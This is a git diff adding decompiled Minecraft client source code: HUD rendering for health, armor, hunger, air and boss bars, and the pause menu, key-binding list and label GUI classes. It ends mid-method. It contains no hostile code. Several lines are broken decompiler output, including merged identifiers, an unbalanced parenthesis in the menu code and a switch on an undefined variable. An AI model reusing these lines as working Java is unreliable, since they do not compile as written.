+      int var18 = var231 - var11 * func_175179_fFONT_HEIGHT;
+      int var19 = p_180475_2_.getScaledWidth() - var241 + 2;
+      drawRect(var25 - 2, var18, var19, var18 + func_175179_fFONT_HEIGHT, 1342177280);
+      func_175179_f().drawString(var15, var25, var18, 553648127);
+      func_175179_f().drawString(var16, var19 - func_175179_f().getStringWidth(var16), var18, 553648127);
+      
+      if (var11 == var21.size())
+      {
+        String var20 = p_180475_1_.getDisplayName();
+        drawRect(var25 - 2, var18 - func_175179_fFONT_HEIGHT - 1, var19, var18 - 1, 1610612736);
+        drawRect(var25 - 2, var18 - 1, var19, var18, 1342177280);
+        func_175179_f().drawString(var20, var25 + var6 / 2 - func_175179_f().getStringWidth(var20) / 2, var18 - func_175179_fFONT_HEIGHT, 553648127);
+      }
+    }
+  }
+  
+  private void func_180477_d(ScaledResolution p_180477_1_)
+  {
+    if ((mc.func_175606_aa() instanceof EntityPlayer))
+    {
+      EntityPlayer var2 = (EntityPlayer)mc.func_175606_aa();
+      int var3 = MathHelper.ceiling_float_int(var2.getHealth());
+      boolean var4 = (field_175191_F > updateCounter) && ((field_175191_F - updateCounter) / 3L % 2L == 1L);
+      
+      if ((var3 < field_175194_C) && (hurtResistantTime > 0))
+      {
+        field_175190_E = Minecraft.getSystemTime();
+        field_175191_F = (updateCounter + 20);
+      }
+      else if ((var3 > field_175194_C) && (hurtResistantTime > 0))
+      {
+        field_175190_E = Minecraft.getSystemTime();
+        field_175191_F = (updateCounter + 10);
+      }
+      
+      if (Minecraft.getSystemTime() - field_175190_E > 1000L)
+      {
+        field_175194_C = var3;
+        field_175189_D = var3;
+        field_175190_E = Minecraft.getSystemTime();
+      }
+      
+      field_175194_C = var3;
+      int var5 = field_175189_D;
+      rand.setSeed(updateCounter * 312871);
+      boolean var6 = false;
+      FoodStats var7 = var2.getFoodStats();
+      int var8 = var7.getFoodLevel();
+      int var9 = var7.getPrevFoodLevel();
+      IAttributeInstance var10 = var2.getEntityAttribute(net.minecraft.entity.SharedMonsterAttributes.maxHealth);
+      int var11 = p_180477_1_.getScaledWidth() / 2 - 91;
+      int var12 = p_180477_1_.getScaledWidth() / 2 + 91;
+      int var13 = p_180477_1_.getScaledHeight() - 39;
+      float var14 = (float)var10.getAttributeValue();
+      float var15 = var2.getAbsorptionAmount();
+      int var16 = MathHelper.ceiling_float_int((var14 + var15) / 2.0F / 10.0F);
+      int var17 = Math.max(10 - (var16 - 2), 3);
+      int var18 = var13 - (var16 - 1) * var17 - 10;
+      float var19 = var15;
+      int var20 = var2.getTotalArmorValue();
+      int var21 = -1;
+      
+      if (var2.isPotionActive(Potion.regeneration))
+      {
+        var21 = updateCounter % MathHelper.ceiling_float_int(var14 + 5.0F);
+      }
+      
+      mc.mcProfiler.startSection("armor");
+      
+
+
+      for (int var22 = 0; var22 < 10; var22++)
+      {
+        if (var20 > 0)
+        {
+          int var23 = var11 + var22 * 8;
+          
+          if (var22 * 2 + 1 < var20)
+          {
+            drawTexturedModalRect(var23, var18, 34, 9, 9, 9);
+          }
+          
+          if (var22 * 2 + 1 == var20)
+          {
+            drawTexturedModalRect(var23, var18, 25, 9, 9, 9);
+          }
+          
+          if (var22 * 2 + 1 > var20)
+          {
+            drawTexturedModalRect(var23, var18, 16, 9, 9, 9);
+          }
+        }
+      }
+      
+      mc.mcProfiler.endStartSection("health");
+      
+
+
+
+      for (var22 = MathHelper.ceiling_float_int((var14 + var15) / 2.0F) - 1; var22 >= 0; var22--)
+      {
+        int var23 = 16;
+        
+        if (var2.isPotionActive(Potion.poison))
+        {
+          var23 += 36;
+        }
+        else if (var2.isPotionActive(Potion.wither))
+        {
+          var23 += 72;
+        }
+        
+        byte var34 = 0;
+        
+        if (var4)
+        {
+          var34 = 1;
+        }
+        
+        int var25 = MathHelper.ceiling_float_int((var22 + 1) / 10.0F) - 1;
+        int var26 = var11 + var22 % 10 * 8;
+        int var27 = var13 - var25 * var17;
+        
+        if (var3 <= 4)
+        {
+          var27 += rand.nextInt(2);
+        }
+        
+        if (var22 == var21)
+        {
+          var27 -= 2;
+        }
+        
+        byte var36 = 0;
+        
+        if (worldObj.getWorldInfo().isHardcoreModeEnabled())
+        {
+          var36 = 5;
+        }
+        
+        drawTexturedModalRect(var26, var27, 16 + var34 * 9, 9 * var36, 9, 9);
+        
+        if (var4)
+        {
+          if (var22 * 2 + 1 < var5)
+          {
+            drawTexturedModalRect(var26, var27, var23 + 54, 9 * var36, 9, 9);
+          }
+          
+          if (var22 * 2 + 1 == var5)
+          {
+            drawTexturedModalRect(var26, var27, var23 + 63, 9 * var36, 9, 9);
+          }
+        }
+        
+        if (var19 > 0.0F)
+        {
+          if ((var19 == var15) && (var15 % 2.0F == 1.0F))
+          {
+            drawTexturedModalRect(var26, var27, var23 + 153, 9 * var36, 9, 9);
+          }
+          else
+          {
+            drawTexturedModalRect(var26, var27, var23 + 144, 9 * var36, 9, 9);
+          }
+          
+          var19 -= 2.0F;
+        }
+        else
+        {
+          if (var22 * 2 + 1 < var3)
+          {
+            drawTexturedModalRect(var26, var27, var23 + 36, 9 * var36, 9, 9);
+          }
+          
+          if (var22 * 2 + 1 == var3)
+          {
+            drawTexturedModalRect(var26, var27, var23 + 45, 9 * var36, 9, 9);
+          }
+        }
+      }
+      
+      Entity var371 = ridingEntity;
+      
+
+      if (var371 == null)
+      {
+        mc.mcProfiler.endStartSection("food");
+        
+        for (int var23 = 0; var23 < 10; var23++)
+        {
+          int var38 = var13;
+          int var25 = 16;
+          byte var35 = 0;
+          
+          if (var2.isPotionActive(Potion.hunger))
+          {
+            var25 += 36;
+            var35 = 13;
+          }
+          
+          if ((var2.getFoodStats().getSaturationLevel() <= 0.0F) && (updateCounter % (var8 * 3 + 1) == 0))
+          {
+            var38 = var13 + (rand.nextInt(3) - 1);
+          }
+          
+          if (var6)
+          {
+            var35 = 1;
+          }
+          
+          int var27 = var12 - var23 * 8 - 9;
+          drawTexturedModalRect(var27, var38, 16 + var35 * 9, 27, 9, 9);
+          
+          if (var6)
+          {
+            if (var23 * 2 + 1 < var9)
+            {
+              drawTexturedModalRect(var27, var38, var25 + 54, 27, 9, 9);
+            }
+            
+            if (var23 * 2 + 1 == var9)
+            {
+              drawTexturedModalRect(var27, var38, var25 + 63, 27, 9, 9);
+            }
+          }
+          
+          if (var23 * 2 + 1 < var8)
+          {
+            drawTexturedModalRect(var27, var38, var25 + 36, 27, 9, 9);
+          }
+          
+          if (var23 * 2 + 1 == var8)
+          {
+            drawTexturedModalRect(var27, var38, var25 + 45, 27, 9, 9);
+          }
+        }
+      }
+      else if ((var371 instanceof EntityLivingBase))
+      {
+        mc.mcProfiler.endStartSection("mountHealth");
+        EntityLivingBase var391 = (EntityLivingBase)var371;
+        int var38 = (int)Math.ceil(var391.getHealth());
+        float var37 = var391.getMaxHealth();
+        int var26 = (int)(var37 + 0.5F) / 2;
+        
+        if (var26 > 30)
+        {
+          var26 = 30;
+        }
+        
+        int var27 = var13;
+        
+        for (int var39 = 0; var26 > 0; var39 += 20)
+        {
+          int var29 = Math.min(var26, 10);
+          var26 -= var29;
+          
+          for (int var30 = 0; var30 < var29; var30++)
+          {
+            byte var31 = 52;
+            byte var32 = 0;
+            
+            if (var6)
+            {
+              var32 = 1;
+            }
+            
+            int var33 = var12 - var30 * 8 - 9;
+            drawTexturedModalRect(var33, var27, var31 + var32 * 9, 9, 9, 9);
+            
+            if (var30 * 2 + 1 + var39 < var38)
+            {
+              drawTexturedModalRect(var33, var27, var31 + 36, 9, 9, 9);
+            }
+            
+            if (var30 * 2 + 1 + var39 == var38)
+            {
+              drawTexturedModalRect(var33, var27, var31 + 45, 9, 9, 9);
+            }
+          }
+          
+          var27 -= 10;
+        }
+      }
+      
+      mc.mcProfiler.endStartSection("air");
+      
+      if (var2.isInsideOfMaterial(net.minecraft.block.material.Material.water))
+      {
+        int var23 = mc.thePlayer.getAir();
+        int var38 = MathHelper.ceiling_double_int((var23 - 2) * 10.0D / 300.0D);
+        int var25 = MathHelper.ceiling_double_int(var23 * 10.0D / 300.0D) - var38;
+        
+        for (int var26 = 0; var26 < var38 + var25; var26++)
+        {
+          if (var26 < var38)
+          {
+            drawTexturedModalRect(var12 - var26 * 8 - 9, var18, 16, 18, 9, 9);
+          }
+          else
+          {
+            drawTexturedModalRect(var12 - var26 * 8 - 9, var18, 25, 18, 9, 9);
+          }
+        }
+      }
+      
+      mc.mcProfiler.endSection();
+    }
+  }
+  
+
+
+
+  private void renderBossHealth()
+  {
+    if ((BossStatus.bossName != null) && (BossStatus.statusBarTime > 0))
+    {
+      BossStatus.statusBarTime -= 1;
+      FontRenderer var1 = mc.fontRendererObj;
+      ScaledResolution var2 = new ScaledResolution(mc);
+      int var3 = var2.getScaledWidth();
+      short var4 = 182;
+      int var5 = var3 / 2 - var4 / 2;
+      int var6 = (int)(BossStatus.healthScale * (var4 + 1));
+      byte var7 = 12;
+      drawTexturedModalRect(var5, var7, 0, 74, var4, 5);
+      drawTexturedModalRect(var5, var7, 0, 74, var4, 5);
+      
+      if (var6 > 0)
+      {
+        drawTexturedModalRect(var5, var7, 0, 79, var6, 5);
+      }
+      
+      String var8 = BossStatus.bossName;
+      int bossTextColor = 16777215;
+      
+      if (Config.isCustomColors())
+      {
+        bossTextColor = CustomColors.getBossTextColor(bossTextColor);
+      }
+      
+      func_175179_f().drawStringWithShadow(var8, var3 / 2 - func_175179_f().getStringWidth(var8) / 2, var7 - 10, bossTextColor);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      mc.getTextureManager().bindTexture(icons);
+    }
+  }
+  
+  private void func_180476_e(ScaledResolution p_180476_1_)
+  {
+    GlStateManager.disableDepth();
+    GlStateManager.depthMask(false);
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.disableAlpha();
+    mc.getTextureManager().bindTexture(pumpkinBlurTexPath);
+    Tessellator var2 = Tessellator.getInstance();
+    WorldRenderer var3 = var2.getWorldRenderer();
+    var3.startDrawingQuads();
+    var3.addVertexWithUV(0.0D, p_180476_1_.getScaledHeight(), -90.0D, 0.0D, 1.0D);
+    var3.addVertexWithUV(p_180476_1_.getScaledWidth(), p_180476_1_.getScaledHeight(), -90.0D, 1.0D, 1.0D);
+    var3.addVertexWithUV(p_180476_1_.getScaledWidth(), 0.0D, -90.0D, 1.0D, 0.0D);
+    var3.addVertexWithUV(0.0D, 0.0D, -90.0D, 0.0D, 0.0D);
+    var2.draw();
+    GlStateManager.depthMask(true);
+    GlStateManager.enableDepth();
+    GlStateManager.enableAlpha();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+  private void func_180480_a(float p_180480_1_, ScaledResolution p_180480_2_)
+  {
+    if (Config.isVignetteEnabled())
+    {
+      p_180480_1_ = 1.0F - p_180480_1_;
+      p_180480_1_ = MathHelper.clamp_float(p_180480_1_, 0.0F, 1.0F);
+      WorldBorder var3 = mc.theWorld.getWorldBorder();
+      float var4 = (float)var3.getClosestDistance(mc.thePlayer);
+      double var5 = Math.min(var3.func_177749_o() * var3.getWarningTime() * 1000.0D, Math.abs(var3.getTargetSize() - var3.getDiameter()));
+      double var7 = Math.max(var3.getWarningDistance(), var5);
+      
+      if (var4 < var7)
+      {
+        var4 = 1.0F - (float)(var4 / var7);
+      }
+      else
+      {
+        var4 = 0.0F;
+      }
+      
+      prevVignetteBrightness = ((float)(prevVignetteBrightness + (p_180480_1_ - prevVignetteBrightness) * 0.01D));
+      GlStateManager.disableDepth();
+      GlStateManager.depthMask(false);
+      GlStateManager.tryBlendFuncSeparate(0, 769, 1, 0);
+      
+      if (var4 > 0.0F)
+      {
+        GlStateManager.color(0.0F, var4, var4, 1.0F);
+      }
+      else
+      {
+        GlStateManager.color(prevVignetteBrightness, prevVignetteBrightness, prevVignetteBrightness, 1.0F);
+      }
+      
+      mc.getTextureManager().bindTexture(vignetteTexPath);
+      Tessellator var9 = Tessellator.getInstance();
+      WorldRenderer var10 = var9.getWorldRenderer();
+      var10.startDrawingQuads();
+      var10.addVertexWithUV(0.0D, p_180480_2_.getScaledHeight(), -90.0D, 0.0D, 1.0D);
+      var10.addVertexWithUV(p_180480_2_.getScaledWidth(), p_180480_2_.getScaledHeight(), -90.0D, 1.0D, 1.0D);
+      var10.addVertexWithUV(p_180480_2_.getScaledWidth(), 0.0D, -90.0D, 1.0D, 0.0D);
+      var10.addVertexWithUV(0.0D, 0.0D, -90.0D, 0.0D, 0.0D);
+      var9.draw();
+      GlStateManager.depthMask(true);
+      GlStateManager.enableDepth();
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    }
+  }
+  
+  private void func_180474_b(float p_180474_1_, ScaledResolution p_180474_2_)
+  {
+    if (p_180474_1_ < 1.0F)
+    {
+      p_180474_1_ *= p_180474_1_;
+      p_180474_1_ *= p_180474_1_;
+      p_180474_1_ = p_180474_1_ * 0.8F + 0.2F;
+    }
+    
+    GlStateManager.disableAlpha();
+    GlStateManager.disableDepth();
+    GlStateManager.depthMask(false);
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, p_180474_1_);
+    mc.getTextureManager().bindTexture(TextureMap.locationBlocksTexture);
+    TextureAtlasSprite var3 = mc.getBlockRendererDispatcher().func_175023_a().func_178122_a(Blocks.portal.getDefaultState());
+    float var4 = var3.getMinU();
+    float var5 = var3.getMinV();
+    float var6 = var3.getMaxU();
+    float var7 = var3.getMaxV();
+    Tessellator var8 = Tessellator.getInstance();
+    WorldRenderer var9 = var8.getWorldRenderer();
+    var9.startDrawingQuads();
+    var9.addVertexWithUV(0.0D, p_180474_2_.getScaledHeight(), -90.0D, var4, var7);
+    var9.addVertexWithUV(p_180474_2_.getScaledWidth(), p_180474_2_.getScaledHeight(), -90.0D, var6, var7);
+    var9.addVertexWithUV(p_180474_2_.getScaledWidth(), 0.0D, -90.0D, var6, var5);
+    var9.addVertexWithUV(0.0D, 0.0D, -90.0D, var4, var5);
+    var8.draw();
+    GlStateManager.depthMask(true);
+    GlStateManager.enableDepth();
+    GlStateManager.enableAlpha();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+  private void func_175184_a(int p_175184_1_, int p_175184_2_, int p_175184_3_, float p_175184_4_, EntityPlayer p_175184_5_)
+  {
+    ItemStack var6 = inventory.mainInventory[p_175184_1_];
+    
+    if (var6 != null)
+    {
+      float var7 = animationsToGo - p_175184_4_;
+      
+      if (var7 > 0.0F)
+      {
+        GlStateManager.pushMatrix();
+        float var8 = 1.0F + var7 / 5.0F;
+        GlStateManager.translate(p_175184_2_ + 8, p_175184_3_ + 12, 0.0F);
+        GlStateManager.scale(1.0F / var8, (var8 + 1.0F) / 2.0F, 1.0F);
+        GlStateManager.translate(-(p_175184_2_ + 8), -(p_175184_3_ + 12), 0.0F);
+      }
+      
+      itemRenderer.func_180450_b(var6, p_175184_2_, p_175184_3_);
+      
+      if (var7 > 0.0F)
+      {
+        GlStateManager.popMatrix();
+      }
+      
+      itemRenderer.func_175030_a(mc.fontRendererObj, var6, p_175184_2_, p_175184_3_);
+    }
+  }
+  
+
+
+
+  public void updateTick()
+  {
+    if (recordPlayingUpFor > 0)
+    {
+      recordPlayingUpFor -= 1;
+    }
+    
+    if (field_175195_w > 0)
+    {
+      field_175195_w -= 1;
+      
+      if (field_175195_w <= 0)
+      {
+        field_175201_x = "";
+        field_175200_y = "";
+      }
+    }
+    
+    updateCounter += 1;
+    streamIndicator.func_152439_a();
+    
+    if (mc.thePlayer != null)
+    {
+      ItemStack var1 = mc.thePlayer.inventory.getCurrentItem();
+      
+      if (var1 == null)
+      {
+        remainingHighlightTicks = 0;
+      }
+      else if ((highlightingItemStack != null) && (var1.getItem() == highlightingItemStack.getItem()) && (ItemStack.areItemStackTagsEqual(var1, highlightingItemStack)) && ((var1.isItemStackDamageable()) || (var1.getMetadata() == highlightingItemStack.getMetadata())))
+      {
+        if (remainingHighlightTicks > 0)
+        {
+          remainingHighlightTicks -= 1;
+        }
+        
+      }
+      else {
+        remainingHighlightTicks = 40;
+      }
+      
+      highlightingItemStack = var1;
+    }
+  }
+  
+  public void setRecordPlayingMessage(String p_73833_1_)
+  {
+    setRecordPlaying(I18n.format("record.nowPlaying", new Object[] { p_73833_1_ }), true);
+  }
+  
+  public void setRecordPlaying(String p_110326_1_, boolean p_110326_2_)
+  {
+    recordPlaying = p_110326_1_;
+    recordPlayingUpFor = 60;
+    recordIsPlaying = p_110326_2_;
+  }
+  
+  public void func_175178_a(String p_175178_1_, String p_175178_2_, int p_175178_3_, int p_175178_4_, int p_175178_5_)
+  {
+    if ((p_175178_1_ == null) && (p_175178_2_ == null) && (p_175178_3_ < 0) && (p_175178_4_ < 0) && (p_175178_5_ < 0))
+    {
+      field_175201_x = "";
+      field_175200_y = "";
+      field_175195_w = 0;
+    }
+    else if (p_175178_1_ != null)
+    {
+      field_175201_x = p_175178_1_;
+      field_175195_w = (field_175199_z + field_175192_A + field_175193_B);
+    }
+    else if (p_175178_2_ != null)
+    {
+      field_175200_y = p_175178_2_;
+    }
+    else
+    {
+      if (p_175178_3_ >= 0)
+      {
+        field_175199_z = p_175178_3_;
+      }
+      
+      if (p_175178_4_ >= 0)
+      {
+        field_175192_A = p_175178_4_;
+      }
+      
+      if (p_175178_5_ >= 0)
+      {
+        field_175193_B = p_175178_5_;
+      }
+      
+      if (field_175195_w > 0)
+      {
+        field_175195_w = (field_175199_z + field_175192_A + field_175193_B);
+      }
+    }
+  }
+  
+  public void func_175188_a(IChatComponent p_175188_1_, boolean p_175188_2_)
+  {
+    setRecordPlaying(p_175188_1_.getUnformattedText(), p_175188_2_);
+  }
+  
+
+
+
+  public GuiNewChat getChatGUI()
+  {
+    return persistantChatGUI;
+  }
+  
+  public int getUpdateCounter()
+  {
+    return updateCounter;
+  }
+  
+  public FontRenderer func_175179_f()
+  {
+    return mc.fontRendererObj;
+  }
+  
+  public GuiSpectator func_175187_g()
+  {
+    return field_175197_u;
+  }
+  
+  public GuiPlayerTabOverlay getTabList()
+  {
+    return overlayPlayerList;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiIngameMenu.java b/src/minecraft/net/minecraft/client/gui/GuiIngameMenu.java
new file mode 100644
index 0000000..2568151
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiIngameMenu.java
@@ -0,0 +1,95 @@
+package net.minecraft.client.gui;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.achievement.GuiAchievements;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.server.integrated.IntegratedServer;
+
+public class GuiIngameMenu extends GuiScreen
+{
+  private int field_146445_a;
+  private int field_146444_f;
+  private static final String __OBFID = "CL_00000703";
+  
+  public GuiIngameMenu() {}
+  
+  public void initGui()
+  {
+    field_146445_a = 0;
+    buttonList.clear();
+    byte var1 = -16;
+    boolean var2 = true;
+    buttonList.add(new GuiButton(1, width / 2 - 100, height / 4 + 120 + var1, I18n.format("menu.returnToMenu", new Object[0])));
+    
+    if (!mc.isIntegratedServerRunning())
+    {
+      buttonList.get(0)).displayString = I18n.format("menu.disconnect", new Object[0]);
+    }
+    
+    buttonList.add(new GuiButton(4, width / 2 - 100, height / 4 + 24 + var1, I18n.format("menu.returnToGame", new Object[0])));
+    buttonList.add(new GuiButton(0, width / 2 - 100, height / 4 + 96 + var1, 98, 20, I18n.format("menu.options", new Object[0])));
+    GuiButton var3;
+    buttonList.add(var3 = new GuiButton(7, width / 2 + 2, height / 4 + 96 + var1, 98, 20, I18n.format("menu.shareToLan", new Object[0])));
+    buttonList.add(new GuiButton(5, width / 2 - 100, height / 4 + 48 + var1, 98, 20, I18n.format("gui.achievements", new Object[0])));
+    buttonList.add(new GuiButton(6, width / 2 + 2, height / 4 + 48 + var1, 98, 20, I18n.format("gui.stats", new Object[0])));
+    enabled = ((mc.isSingleplayer()) && (!mc.getIntegratedServer().getPublic()));
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    switch (id)
+    {
+    case 0: 
+      mc.displayGuiScreen(new GuiOptions(this, mc.gameSettings));
+      break;
+    
+    case 1: 
+      enabled = false;
+      mc.theWorld.sendQuittingDisconnectingPacket();
+      mc.loadWorld(null);
+      mc.displayGuiScreen(new GuiMainMenu());
+    
+    case 2: 
+    case 3: 
+    default: 
+      break;
+    
+    case 4: 
+      mc.displayGuiScreen(null);
+      mc.setIngameFocus();
+      break;
+    
+    case 5: 
+      mc.displayGuiScreen(new GuiAchievements(this, mc.thePlayer.getStatFileWriter()));
+      break;
+    
+    case 6: 
+      mc.displayGuiScreen(new net.minecraft.client.gui.achievement.GuiStats(this, mc.thePlayer.getStatFileWriter()));
+      break;
+    
+    case 7: 
+      mc.displayGuiScreen(new GuiShareToLan(this));
+    }
+    
+  }
+  
+
+
+  public void updateScreen()
+  {
+    super.updateScreen();
+    field_146444_f += 1;
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, I18n.format("menu.game", new Object[0]), width / 2, 40, 16777215);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiKeyBindingList.java b/src/minecraft/net/minecraft/client/gui/GuiKeyBindingList.java
new file mode 100644
index 0000000..a71fdb6
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiKeyBindingList.java
@@ -0,0 +1,197 @@
+package net.minecraft.client.gui;
+
+import java.util.Arrays;
+import java.util.Set;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.KeyBinding;
+import net.minecraft.util.EnumChatFormatting;
+
+public class GuiKeyBindingList extends GuiListExtended
+{
+  private final GuiControls field_148191_k;
+  private final Minecraft mc;
+  private final GuiListExtended.IGuiListEntry[] listEntries;
+  private int maxListLabelWidth = 0;
+  private static final String __OBFID = "CL_00000732";
+  
+  public GuiKeyBindingList(GuiControls p_i45031_1_, Minecraft mcIn)
+  {
+    super(mcIn, width, height, 63, height - 32, 20);
+    field_148191_k = p_i45031_1_;
+    mc = mcIn;
+    KeyBinding[] var3 = (KeyBinding[])org.apache.commons.lang3.ArrayUtils.clone(gameSettings.keyBindings);
+    listEntries = new GuiListExtended.IGuiListEntry[var3.length + KeyBinding.getKeybinds().size()];
+    Arrays.sort(var3);
+    int var4 = 0;
+    String var5 = null;
+    KeyBinding[] var6 = var3;
+    int var7 = var3.length;
+    
+    for (int var8 = 0; var8 < var7; var8++)
+    {
+      KeyBinding var9 = var6[var8];
+      String var10 = var9.getKeyCategory();
+      
+      if (!var10.equals(var5))
+      {
+        var5 = var10;
+        listEntries[(var4++)] = new CategoryEntry(var10);
+      }
+      
+      int var11 = fontRendererObj.getStringWidth(I18n.format(var9.getKeyDescription(), new Object[0]));
+      
+      if (var11 > maxListLabelWidth)
+      {
+        maxListLabelWidth = var11;
+      }
+      
+      listEntries[(var4++)] = new KeyEntry(var9, null);
+    }
+  }
+  
+  protected int getSize()
+  {
+    return listEntries.length;
+  }
+  
+
+
+
+  public GuiListExtended.IGuiListEntry getListEntry(int p_148180_1_)
+  {
+    return listEntries[p_148180_1_];
+  }
+  
+  protected int getScrollBarX()
+  {
+    return super.getScrollBarX() + 15;
+  }
+  
+
+
+
+  public int getListWidth()
+  {
+    return super.getListWidth() + 32;
+  }
+  
+  public class CategoryEntry implements GuiListExtended.IGuiListEntry
+  {
+    private final String labelText;
+    private final int labelWidth;
+    private static final String __OBFID = "CL_00000734";
+    
+    public CategoryEntry(String p_i45028_2_)
+    {
+      labelText = I18n.format(p_i45028_2_, new Object[0]);
+      labelWidth = mc.fontRendererObj.getStringWidth(labelText);
+    }
+    
+    public void drawEntry(int slotIndex, int x, int y, int listWidth, int slotHeight, int mouseX, int mouseY, boolean isSelected)
+    {
+      mc.fontRendererObj.drawString(labelText, mc.currentScreen.width / 2 - labelWidth / 2, y + slotHeight - mc.fontRendererObj.FONT_HEIGHT - 1, 16777215);
+    }
+    
+    public boolean mousePressed(int p_148278_1_, int p_148278_2_, int p_148278_3_, int p_148278_4_, int p_148278_5_, int p_148278_6_)
+    {
+      return false;
+    }
+    
+    public void mouseReleased(int slotIndex, int x, int y, int mouseEvent, int relativeX, int relativeY) {}
+    
+    public void setSelected(int p_178011_1_, int p_178011_2_, int p_178011_3_) {}
+  }
+  
+  public class KeyEntry implements GuiListExtended.IGuiListEntry
+  {
+    private final KeyBinding field_148282_b;
+    private final String field_148283_c;
+    private final GuiButton btnChangeKeyBinding;
+    private final GuiButton btnReset;
+    private static final String __OBFID = "CL_00000735";
+    
+    private KeyEntry(KeyBinding p_i45029_2_)
+    {
+      field_148282_b = p_i45029_2_;
+      field_148283_c = I18n.format(p_i45029_2_.getKeyDescription(), new Object[0]);
+      btnChangeKeyBinding = new GuiButton(0, 0, 0, 75, 18, I18n.format(p_i45029_2_.getKeyDescription(), new Object[0]));
+      btnReset = new GuiButton(0, 0, 0, 50, 18, I18n.format("controls.reset", new Object[0]));
+    }
+    
+    public void drawEntry(int slotIndex, int x, int y, int listWidth, int slotHeight, int mouseX, int mouseY, boolean isSelected)
+    {
+      boolean var9 = field_148191_k.buttonId == field_148282_b;
+      mc.fontRendererObj.drawString(field_148283_c, x + 90 - maxListLabelWidth, y + slotHeight / 2 - mc.fontRendererObj.FONT_HEIGHT / 2, 16777215);
+      btnReset.xPosition = (x + 190);
+      btnReset.yPosition = y;
+      btnReset.enabled = (field_148282_b.getKeyCode() != field_148282_b.getKeyCodeDefault());
+      btnReset.drawButton(mc, mouseX, mouseY);
+      btnChangeKeyBinding.xPosition = (x + 105);
+      btnChangeKeyBinding.yPosition = y;
+      btnChangeKeyBinding.displayString = GameSettings.getKeyDisplayString(field_148282_b.getKeyCode());
+      boolean var10 = false;
+      
+      if (field_148282_b.getKeyCode() != 0)
+      {
+        KeyBinding[] var11 = mc.gameSettings.keyBindings;
+        int var12 = var11.length;
+        
+        for (int var13 = 0; var13 < var12; var13++)
+        {
+          KeyBinding var14 = var11[var13];
+          
+          if ((var14 != field_148282_b) && (var14.getKeyCode() == field_148282_b.getKeyCode()))
+          {
+            var10 = true;
+            break;
+          }
+        }
+      }
+      
+      if (var9)
+      {
+        btnChangeKeyBinding.displayString = (EnumChatFormatting.WHITE + "> " + EnumChatFormatting.YELLOW + btnChangeKeyBinding.displayString + EnumChatFormatting.WHITE + " <");
+      }
+      else if (var10)
+      {
+        btnChangeKeyBinding.displayString = (EnumChatFormatting.RED + btnChangeKeyBinding.displayString);
+      }
+      
+      btnChangeKeyBinding.drawButton(mc, mouseX, mouseY);
+    }
+    
+    public boolean mousePressed(int p_148278_1_, int p_148278_2_, int p_148278_3_, int p_148278_4_, int p_148278_5_, int p_148278_6_)
+    {
+      if (btnChangeKeyBinding.mousePressed(mc, p_148278_2_, p_148278_3_))
+      {
+        field_148191_k.buttonId = field_148282_b;
+        return true;
+      }
+      if (btnReset.mousePressed(mc, p_148278_2_, p_148278_3_))
+      {
+        mc.gameSettings.setOptionKeyBinding(field_148282_b, field_148282_b.getKeyCodeDefault());
+        KeyBinding.resetKeyBindingArrayAndHash();
+        return true;
+      }
+      
+
+      return false;
+    }
+    
+
+    public void mouseReleased(int slotIndex, int x, int y, int mouseEvent, int relativeX, int relativeY)
+    {
+      btnChangeKeyBinding.mouseReleased(x, y);
+      btnReset.mouseReleased(x, y);
+    }
+    
+    public void setSelected(int p_178011_1_, int p_178011_2_, int p_178011_3_) {}
+    
+    KeyEntry(KeyBinding p_i45030_2_, Object p_i45030_3_)
+    {
+      this(p_i45030_2_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiLabel.java b/src/minecraft/net/minecraft/client/gui/GuiLabel.java
new file mode 100644
index 0000000..7b14d21
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiLabel.java
@@ -0,0 +1,96 @@
+package net.minecraft.client.gui;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.resources.I18n;
+
+public class GuiLabel extends Gui
+{
+  protected int field_146167_a = 200;
+  protected int field_146161_f = 20;
+  public int field_146162_g;
+  public int field_146174_h;
+  private List field_146173_k;
+  public int field_175204_i;
+  private boolean centered;
+  public boolean visible = true;
+  private boolean labelBgEnabled;
+  private int field_146168_n;
+  private int field_146169_o;
+  private int field_146166_p;
+  private int field_146165_q;
+  private FontRenderer fontRenderer;
+  private int field_146163_s;
+  private static final String __OBFID = "CL_00000671";
+  
+  public GuiLabel(FontRenderer p_i45540_1_, int p_i45540_2_, int p_i45540_3_, int p_i45540_4_, int p_i45540_5_, int p_i45540_6_, int p_i45540_7_)
+  {
+    fontRenderer = p_i45540_1_;
+    field_175204_i = p_i45540_2_;
+    field_146162_g = p_i45540_3_;
+    field_146174_h = p_i45540_4_;
+    field_146167_a = p_i45540_5_;
+    field_146161_f = p_i45540_6_;
+    field_146173_k = Lists.newArrayList();
+    centered = false;
+    labelBgEnabled = false;
+    field_146168_n = p_i45540_7_;
+    field_146169_o = -1;
+    field_146166_p = -1;
+    field_146165_q = -1;
+    field_146163_s = 0;
+  }
+  
+  public void func_175202_a(String p_175202_1_)
+  {
